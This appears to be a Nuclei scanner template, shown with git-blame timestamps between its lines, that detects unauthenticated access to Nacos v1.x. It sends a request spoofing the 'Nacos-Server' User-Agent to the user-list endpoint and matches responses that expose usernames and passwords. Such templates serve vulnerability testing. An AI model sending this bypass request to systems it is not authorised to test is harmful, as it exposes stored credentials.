2021-01-06 07:29:33 +00:00
|
|
|
id: unauthenticated-nacos-access
|
2021-01-06 03:54:47 +00:00
|
|
|
|
|
|
|
info:
|
2021-02-26 01:56:25 +00:00
|
|
|
name: Unauthenticated Nacos access v1.x
|
2021-06-09 12:20:56 +00:00
|
|
|
author: taielab,pikpikcu
|
2021-01-06 03:54:47 +00:00
|
|
|
severity: critical
|
2021-02-26 01:56:25 +00:00
|
|
|
issues: https://github.com/alibaba/nacos/issues/4593
|
2021-03-12 08:57:14 +00:00
|
|
|
tags: nacos,unauth
|
2021-01-06 04:26:18 +00:00
|
|
|
|
2021-01-06 03:54:47 +00:00
|
|
|
requests:
|
2021-02-26 01:56:25 +00:00
|
|
|
- method: GET
|
|
|
|
path:
|
|
|
|
- "{{BaseURL}}/nacos/v1/auth/users?pageNo=1&pageSize=9"
|
|
|
|
- "{{BaseURL}}/v1/auth/users?pageNo=1&pageSize=9"
|
2021-02-26 05:44:18 +00:00
|
|
|
headers:
|
|
|
|
User-Agent: Nacos-Server
|
2021-01-06 04:26:18 +00:00
|
|
|
|
2021-01-06 03:54:47 +00:00
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
2021-02-26 01:56:25 +00:00
|
|
|
|
|
|
|
- type: word
|
|
|
|
words:
|
|
|
|
- "Content-Type: application/json"
|
|
|
|
part: header
|
|
|
|
|
2021-01-06 03:54:47 +00:00
|
|
|
- type: regex
|
|
|
|
regex:
|
2021-01-10 23:20:14 +00:00
|
|
|
- '"username":'
|
|
|
|
- '"password":'
|
2021-01-06 03:54:47 +00:00
|
|
|
part: body
|
2021-02-26 01:56:25 +00:00
|
|
|
condition: and
|
|
|
|
|
2021-01-06 03:54:47 +00:00
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|